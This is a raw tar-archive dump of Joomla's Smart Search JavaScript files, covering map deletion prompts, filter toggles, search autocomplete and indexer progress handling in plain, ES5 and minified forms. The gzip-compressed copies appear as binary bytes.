}); // Update the count [].slice.call(document.querySelectorAll('.filter-node')).forEach(() => { const count = document.getElementById('jform_map_count'); if (count) { count.value = document.querySelectorAll('input[type="checkbox"]:checked').length; } }); Array.from(document.querySelectorAll('.js-filter')).forEach(button => { button.addEventListener('click', event => { const btn = event.currentTarget; Array.from(document.querySelectorAll(`.${btn.dataset.id}`)).map(el => el.click()); }); }); // Expand/collapse const expandAccordion = document.getElementById('expandAccordion'); if (expandAccordion) { expandAccordion.addEventListener('click', event => { event.preventDefault(); let elements; if (event.target.innerText === Joomla.Text._('COM_FINDER_FILTER_SHOW_ALL')) { event.target.innerText = Joomla.Text._('COM_FINDER_FILTER_HIDE_ALL'); elements = [].slice.call(document.querySelectorAll('.accordion-button.collapsed')); } else { event.target.innerText = Joomla.Text._('COM_FINDER_FILTER_SHOW_ALL'); elements = [].slice.call(document.querySelectorAll('.accordion-button:not(.collapsed)')); } if (elements) { elements.forEach(element => { element.click(); }); } }); } }); })(); js/maps.min.js 0000604 00000000335 15251773010 0007236 0 ustar 00 Joomla=window.Joomla||{},document.addEventListener("DOMContentLoaded",(()=>{Joomla.submitbutton=o=>!("map.delete"===o&&!window.confirm(Joomla.Text._("COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT"))||(Joomla.submitform(o),0))})); js/maps.js 0000604 00000001067 15251773010 0006457 0 ustar 00 /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ Joomla = window.Joomla || {}; (() => { document.addEventListener('DOMContentLoaded', () => { Joomla.submitbutton = pressbutton => { // TODO replace with joomla-alert if (pressbutton === 'map.delete' && !window.confirm(Joomla.Text._('COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT'))) { return false; } Joomla.submitform(pressbutton); return true; }; }); })(); js/maps-es5.min.js 0000604 00000000417 15251773010 0007731 0 ustar 00 !function(){"use strict";Joomla=window.Joomla||{},document.addEventListener("DOMContentLoaded",(function(){Joomla.submitbutton=function(o){return!("map.delete"===o&&!window.confirm(Joomla.Text._("COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT"))||(Joomla.submitform(o),0))}}))}(); js/indexer.min.js.gz 0000604 00000002334 15251773010 0010354 0 ustar 00 � �Vmo�6�+.��J)�ir� s�&EN ���)E�$]'s��w�7�K�l�!Y���^��xK�]��J�0wv�1r�8gF�u2��%�cC�t��N_w�QAq����dz����W�1Mj:�fZSD�����^n��&���dhYH~�>5�XL��, "Ql?��� 12���T��Z&��Ʀc��I�s2,��=���Ɖ2u��_e����dѽ�j��dm0g�:�9�}2����3�x����:&?��S�J�I�U*�]��]�v�a* 6p}d�风9]��G�����|o8��yHA�)���R/fʜ$I/��|�qh1`�dG@5���t��W�U��}^�l��;�7QLt�`7�6P�R�\⭿���E � �#���ϽĤBw���v��؝P�*���L�ppv|��T��R��L=�P�G�BcCWBd�PmQ�:�"�W�+B�Ͽ�DOy��Ë/��Q#��2?���^�~R�0���t�/B�Lhȁ��L^� ,��R���NU "v ��Z�Z�K%M^�D�ӄ���S<��B�DT��f��#�CK2H<w�_�9��ܖ�B4�K�2�z��C e�~(ï����O!@�b����t�Qx<�����`4�Ͽ�}<8=�?�֟G��"�8����Jc�m�I?X[h�[�u�b��:&� ���k� >��$�cr��Lj: �=��5���h7!��Ҽq��h�<�5[����<,P7/�$�~���^ ���o.�mzkϖAp6t�*�r8��F%�F۴�Ȁ�,����y~�mVjE0O�,�V͊'Lݸ�� !�Zl��aĝǃ�h8�gG'�wѓ�1<���j쟎�����(j��8���UUs�ڮz�E����B��W��I]����{��ְ���J7��ߥ5��.`��]zk����`Z�� -d�[����3 .0!C�U2�ISY��Pߚ ƒ��R��� j 'o]%��2�* �&MÁ@��iXY�/4�p:<�tH��8��ռjھyIO�/��p��%ik�n|T;H��|y����Y�6=��ޭD3��M�4!p--�aK՚�����o��wHW;S��3�q���mN�S����@L�x ��XU��y� ��F��G,�q�Ʃ��"���E����'!��� �[�Y!�B�ڋ�fbno��1�.��'�_� js/finder-edit-es5.min.js.gz 0000604 00000000721 15251773010 0011600 0 ustar 00 � �S�N�0�����Q4u4���J��> ��;sΥU��4��[�,�����}G�7k([_C�FWH$�Ca�}����q������\(�.B0.j������l�Y�@�������.$p)���0�=��h�h� �!</4�록�4�B6a��֥B����Q!����*��tKAن�Y���B�$� 3�TC~_�%w���JQe�z�����R�����7�Dž�<^㪂��9�[�$7�m�q f�sb�sg���ս��a7�iLB�s!y*\��)�� WE ���� �3��W�mXV¨��֩��v��L�+M�r�5RǭA^�P<�%&I�oN<��tr���~ӟaO�vu>�� �c¾�w>�? Ӷ>�d�'+����zDk��Z����������E���Av����n(�� %k�� js/finder-edit-es5.min.js 0000604 00000002404 15251773010 0011161 0 ustar 00 !function(){"use strict";Joomla=window.Joomla||{},document.addEventListener("DOMContentLoaded",(function(){[].slice.call(document.querySelectorAll(".filter-toggle-all")).forEach((function(e){e.addEventListener("click",(function(){[].slice.call(document.querySelectorAll(".filter-node")).forEach((function(e){e.click()}))}))})),[].slice.call(document.querySelectorAll(".filter-node")).forEach((function(){var e=document.getElementById("jform_map_count");e&&(e.value=document.querySelectorAll('input[type="checkbox"]:checked').length)})),Array.from(document.querySelectorAll(".js-filter")).forEach((function(e){e.addEventListener("click",(function(e){var t=e.currentTarget;Array.from(document.querySelectorAll("."+t.dataset.id)).map((function(e){return e.click()}))}))}));var e=document.getElementById("expandAccordion");e&&e.addEventListener("click",(function(e){var t;e.preventDefault(),e.target.innerText===Joomla.Text._("COM_FINDER_FILTER_SHOW_ALL")?(e.target.innerText=Joomla.Text._("COM_FINDER_FILTER_HIDE_ALL"),t=[].slice.call(document.querySelectorAll(".accordion-button.collapsed"))):(e.target.innerText=Joomla.Text._("COM_FINDER_FILTER_SHOW_ALL"),t=[].slice.call(document.querySelectorAll(".accordion-button:not(.collapsed)"))),t&&t.forEach((function(e){e.click()}))}))}))}(); js/finder.js 0000604 00000004555 15251773010 0006773 0 ustar 00 /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ ((Awesomplete, Joomla, window, document) => { if (!Joomla) { throw new Error('core.js was not properly initialised'); } // Handle the autocomplete const onInputChange = ({ target }) => { if (target.value.length > 1) { target.awesomplete.list = []; Joomla.request({ url: `${Joomla.getOptions('finder-search').url}&q=${target.value}`, method: 'GET', data: { q: target.value }, perform: true, headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, onSuccess: resp => { const response = JSON.parse(resp); if (Object.prototype.toString.call(response.suggestions) === '[object Array]') { target.awesomplete.list = response.suggestions; } }, onError: xhr => { if (xhr.status > 0) { Joomla.renderMessages(Joomla.ajaxErrorsMessages(xhr)); } } }); } }; // Handle the submit const onSubmit = event => { event.stopPropagation(); const advanced = event.target.querySelector('.js-finder-advanced'); // Disable select boxes with no value selected. if (advanced) { const fields = [].slice.call(advanced.querySelectorAll('select')); fields.forEach(field => { if (!field.value) { field.setAttribute('disabled', 'disabled'); } }); } }; // The boot sequence const onBoot = () => { const searchWords = [].slice.call(document.querySelectorAll('.js-finder-search-query')); searchWords.forEach(searchword => { // Handle the auto suggestion if (Joomla.getOptions('finder-search')) { searchword.awesomplete = new Awesomplete(searchword); // If the current value is empty, set the previous value. searchword.addEventListener('input', onInputChange); } }); const forms = [].slice.call(document.querySelectorAll('.js-finder-searchform')); forms.forEach(form => { form.addEventListener('submit', onSubmit); }); // Cleanup document.removeEventListener('DOMContentLoaded', onBoot); }; document.addEventListener('DOMContentLoaded', onBoot); })(window.Awesomplete, window.Joomla, window, document); js/maps-es5.js 0000604 00000001223 15251773010 0007143 0 ustar 00 (function () { 'use strict'; /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ Joomla = window.Joomla || {}; (function () { document.addEventListener('DOMContentLoaded', function () { Joomla.submitbutton = function (pressbutton) { // TODO replace with joomla-alert if (pressbutton === 'map.delete' && !window.confirm(Joomla.Text._('COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT'))) { return false; } Joomla.submitform(pressbutton); return true; }; }); })(); }()); js/maps.min.js.gz 0000604 00000000301 15251773010 0007646 0 ustar 00 � U�� �0D��Y�$t_"���>�M���m����t73p� vT�68 7Z|Z�5�p^�q�*����a�ƙ �� 8��@i�Q�1a��K�y9���1`�#�.T��x�c��n~�3�~�,����{*1Jj!��Jy+š9ʤ���2�%�l�Z4"$�'��$���h?� js/indexer-es5.min.js 0000604 00000005754 15251773010 0010440 0 ustar 00 !function(){"use strict";!function(e,t){if(!e)throw new Error("core.js was not properly initialised");e.finderIndexer=function(){var r,n=null,s=null,i=null,a=!1,d="&"+t.getElementById("finder-indexer-token").getAttribute("name")+"=1",o=function(e){var r=t.getElementById(e);return r?r.parentNode.removeChild(r):null},l=function(d,l){var c=t.getElementById("finder-progress-header"),f=t.getElementById("finder-progress-message");try{if(null===d)throw new Error(l);if(d.error)throw new Error(d);if(d.start&&(n=d.totalItems,t.getElementById("finder-debug-data"))){var u=t.getElementById("finder-debug-data");Object.entries(d.pluginState).forEach((function(t){var r='<dt class="col-sm-3">'+t[0]+"</dt>";r+='<dd id="finder-'+t[0].replace(/\s+/g,"-").toLowerCase()+'" class="col-sm-9"></dd>',u.insertAdjacentHTML("beforeend",e.sanitizeHtml(r,{dd:["class","id"],dt:["class"]}))}))}s+=d.batchOffset,function(r,a){i=s/n*100;var d=t.getElementById("progress-bar"),l=t.getElementById("finder-progress-header"),c=t.getElementById("finder-progress-message");l&&(l.innerText=r),c&&(c.innerHTML=e.sanitizeHtml(a)),d&&(i<100?(d.style.width=i+"%",d.setAttribute("aria-valuenow",i)):(d.classList.remove("bar-success"),d.classList.add("bar-warning"),d.setAttribute("aria-valuemin",100),d.setAttribute("aria-valuemax",200),d.style.width=i+"%",d.setAttribute("aria-valuenow",i)),a===e.Text._("COM_FINDER_INDEXER_MESSAGE_COMPLETE")&&(o("progress"),window.parent.Joomla.Modal.getCurrent().close()))}(d.header,d.message),t.getElementById("finder-debug-data")&&Object.entries(d.pluginState).forEach((function(r){t.getElementById("finder-"+r[0].replace(/\s+/g,"-").toLowerCase()).innerHTML=e.sanitizeHtml(d.pluginState[r[0]].offset+" of "+d.pluginState[r[0]].total)})),s<n?r("indexer.batch"):a||(a=!0,r("indexer.optimize"))}catch(t){o("progress");try{d.error&&(c&&(c.innerText=d.header,c.classList.add("finder-error")),f&&(f.innerHTML=e.sanitizeHtml(d.message),f.classList.add("finder-error")))}catch(r){""===t&&(t=e.Text._("COM_FINDER_NO_ERROR_RETURNED")),c&&(c.innerText=e.Text._("COM_FINDER_AN_ERROR_HAS_OCCURRED"),c.classList.add("finder-error")),f&&(f.innerHTML=e.sanitizeHtml(t),f.classList.add("finder-error"))}}return!0};s=0,i=0,(r=function(r){e.request({url:"index.php?option=com_finder&tmpl=component&format=json&task="+r+d,method:"GET",data:"",perform:!0,headers:{"Content-Type":"application/x-www-form-urlencoded"},onSuccess:function(e){l(JSON.parse(e))},onError:function(r){!function(r){var n=t.getElementById("finder-progress-header"),s=t.getElementById("finder-progress-message"),i="object"==typeof r&&r.responseText?r.responseText:null;i=i?JSON.parse(i):null,o("progress");var a=i?i.header:e.Text._("COM_FINDER_AN_ERROR_HAS_OCCURRED"),d=i?i.message:e.Text._("COM_FINDER_MESSAGE_RETURNED")+"<br>"+i;n&&(n.innerText=a,n.classList.add("finder-error")),s&&(s.innerHTML=e.sanitizeHtml(d),s.classList.add("finder-error"))}(r)}})})("indexer.start")}}(Joomla,document),document.addEventListener("DOMContentLoaded",(function(){window.Indexer=Joomla.finderIndexer()}))}(); js/finder-es5.js 0000604 00000005205 15251773010 0007456 0 ustar 00 (function () { 'use strict'; /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ (function (Awesomplete, Joomla, window, document) { if (!Joomla) { throw new Error('core.js was not properly initialised'); } // Handle the autocomplete var onInputChange = function onInputChange(_ref) { var target = _ref.target; if (target.value.length > 1) { target.awesomplete.list = []; Joomla.request({ url: Joomla.getOptions('finder-search').url + "&q=" + target.value, method: 'GET', data: { q: target.value }, perform: true, headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, onSuccess: function onSuccess(resp) { var response = JSON.parse(resp); if (Object.prototype.toString.call(response.suggestions) === '[object Array]') { target.awesomplete.list = response.suggestions; } }, onError: function onError(xhr) { if (xhr.status > 0) { Joomla.renderMessages(Joomla.ajaxErrorsMessages(xhr)); } } }); } }; // Handle the submit var onSubmit = function onSubmit(event) { event.stopPropagation(); var advanced = event.target.querySelector('.js-finder-advanced'); // Disable select boxes with no value selected. if (advanced) { var fields = [].slice.call(advanced.querySelectorAll('select')); fields.forEach(function (field) { if (!field.value) { field.setAttribute('disabled', 'disabled'); } }); } }; // The boot sequence var onBoot = function onBoot() { var searchWords = [].slice.call(document.querySelectorAll('.js-finder-search-query')); searchWords.forEach(function (searchword) { // Handle the auto suggestion if (Joomla.getOptions('finder-search')) { searchword.awesomplete = new Awesomplete(searchword); // If the current value is empty, set the previous value. searchword.addEventListener('input', onInputChange); } }); var forms = [].slice.call(document.querySelectorAll('.js-finder-searchform')); forms.forEach(function (form) { form.addEventListener('submit', onSubmit); }); // Cleanup document.removeEventListener('DOMContentLoaded', onBoot); }; document.addEventListener('DOMContentLoaded', onBoot); })(window.Awesomplete, window.Joomla, window, document); }()); js/index.js 0000604 00000001362 15251773010 0006624 0 ustar 00 /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ Joomla = window.Joomla || {}; (() => { document.addEventListener('DOMContentLoaded', () => { Joomla.submitbutton = pressbutton => { // TODO replace with joomla-alert if (pressbutton === 'index.purge' && !window.confirm(Joomla.Text._('COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT'))) { return false; } // TODO replace with joomla-alert if (pressbutton === 'index.delete' && !window.confirm(Joomla.Text._('COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT'))) { return false; } Joomla.submitform(pressbutton); return true; }; }); })(); js/finder.min.js.gz 0000604 00000001125 15251773010 0010162 0 ustar 00 � �Smk�0�+�(AY�:��0(�2H��B���ؒ+���}''Y_�a��t��=�$J/��/{���P�ƻ.��%s��p�SH:�0i�k�W��X�FW&@�Ĵp6`�rޣ�k��8�VW-� �7�_'Jw\�T�t`�w�����U�pޣ�1� M����|@�bÄ��a��Yn\���[&K�:럳�$ҏ���م܀�Y!��7g,���X�t�T����K�u]����p% ��˶( �I�^�ϯ�����>